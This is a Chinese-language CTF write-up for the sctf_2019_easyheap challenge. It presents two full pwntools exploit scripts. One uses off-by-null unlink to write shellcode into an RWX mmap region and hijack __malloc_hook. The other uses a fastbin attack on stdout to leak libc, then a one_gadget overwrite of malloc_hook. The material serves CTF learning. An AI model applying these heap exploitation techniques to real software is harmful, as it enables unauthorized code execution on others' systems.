sctf_2019_easyheap 的两种解法
直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙
0x00 预期解,使用shellcode
思路:
- 拿到mmap的地址,以及程序基地址
- 构造unlink拿到bss段上的控制权
- 往mmap段(rwx权限)写入shellcode
- 在bss上构造fake chunk后free掉,拿到unsorted_bin_arena改写为malloc_hook
- 写malloc_hook为mmap的地址
踩坑:
- 第0个堆块大小没分配够导致后面写的能力不够,小问题
- 第1的堆块大小没弄对,因为要保证通过检测的情况下,利用off_by_null修改第一个字节,第1个堆块只能申请为0xf8或者0xf0(p->size为0×101,offbynull后为0×100)
- 最后free fake_chunk的时候报错,发现因为我只在fake_chunk后面构造了一个0×21的chunk,导致free后的chunk与该chunk发生合并,检测出错。于是再增加一个0×21的chunk阻止合并即可。
exp
from pwn import *
p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")
context.log_level = "debug"
context.arch = "amd64"
def alloc(size:int):
p.recvuntil(">> ")
p.sendline(b"1")
p.recvuntil("Size: ")
p.sendline(str(size).encode())
def delete(index:int):
p.recvuntil(">> ")
p.sendline(b"2")
p.recvuntil("Index: ")
p.sendline(str(index).encode())
def fill(index:int,content):
p.recvuntil(">> ")
p.sendline(b"3")
p.recvuntil("Index: ")
p.sendline(str(index).encode())
p.recvuntil("Content: ")
p.sendline(content)
def exp():
p.recvuntil(b"Mmap: ")
# leak addr
mmap_addr = int(p.recvuntil('\n',drop=True),16)
print("mmap_addr:",hex(mmap_addr))
alloc(0xf8) #idx0
p.recvuntil(b"chunk at [0] Pointer Address ")
p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068
print("p_base:",hex(p_base))
# unlink
alloc(0xf8) #idx1
alloc(0x20) #idx2
target = p_base + 0x202068
fd = target - 0x18
bk = target - 0x10
payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0)
fill(0,payload1)
#gdb.attach(p)
delete(1)
#gdb.attach(p)
# write shellcode to mmap_addr
payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140)
payload2 += p64(mmap_addr)
fill(0,payload2)
fill(1,asm(shellcraft.sh())) #
# get malloc_hook_addr
payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88
payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful
fill(0,payload3)
#gdb.attach(p)
delete(1) # free fake_chunk
fill(0,p64(0)*3 + p64(0x20) + b"\x10")
fill(3,p64(mmap_addr))
alloc(0x20)
# get_shell
p.interactive()
if __name__ == "__main__":
exp()
0x01 攻击stdout的方法
思路
- 构造overlapping
- fastbin attack拿到stdout写,获得libc_base
- fastbin attack攻击malloc hook
细节标注在exp的注释中
exp
from pwn import *
p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")
context.log_level = "debug"
def alloc(size:int):
p.recvuntil(b">> ")
p.sendline(b"1")
p.recvuntil("Size: ")
p.sendline(str(size).encode())
def delete(index:int):
p.recvuntil(b">> ")
p.sendline(b"2")
p.recvuntil("Index: ")
p.sendline(str(index).encode())
def fill(index:int,content):
p.recvuntil(b">> ")
p.sendline(b"3")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
p.recvuntil(b"Content: ")
p.sendline(content)
#IO_FILE
def exp():
#构造overlapping
alloc(0x88) #idx0
alloc(0x68) #idx1
alloc(0xf8) #idx2
alloc(0x10) #idx3
delete(0)
payload1 = b"a"*0x60 + p64(0x100)
fill(1,payload1)
delete(2) # unlink&overlapping
delete(1)
#gdb.attach(p)
#让中间的fast chunk出现unsorted arena的地址,便于部分写后跳转到stdout附近的fakechunk
alloc(0x88) #idx0
delete(0)
#攻击stdout
alloc(0x100) #idx0 用于控制中间的fastchunk
payload2 = b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25" #fakechunk offset
fill(0,payload2)
alloc(0x68) #idx1
alloc(0x68) #idx2 stdout fakechunk
#payload3最后的\x00是覆盖了char* _IO_write_base的低位,控制输出的起始位置
payload3 = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"
fill(2,payload3)
#获取输出并计算libc_base和一些必要地址
base_offset = 0x3C56A4
malloc_hook_fakechunk_offset = 0x3C4AED
realloc_offset = 0x846c0
one_gadget_offset = 0xf1147
p.recv(0x48)
libc_base = u64(p.recv(8)) - base_offset
malloc_hook_fakechunk = libc_base + malloc_hook_fakechunk_offset
realloc = libc_base + realloc_offset
one_gadget = libc_base + one_gadget_offset
print("libc base:",hex(libc_base))
print("malloc_hook_fakechunk:",hex(malloc_hook_fakechunk))
print("realloc:",hex(realloc))
print("one_gadget:",hex(one_gadget))
#利用fastbin attack分配fake chunk到malloc hook附近
delete(1) #修复fastbin,否则无法进行fastbin attack
payload4 = b"a"*0x80 + p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr
fill(0,payload4)
alloc(0x68) #idx1
alloc(0x68) #idx4 malloc_hook_fakechunk
#malloc_hook to one_gadget
#直接malloc_hook->gadget无法getshell,尝试先跳到realloc调整栈
payload5 = b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc)
fill(4,payload5)
alloc(0x10)
#跑几次脚本看运气弹shell
p.interactive()
if __name__ == "__main__":
exp()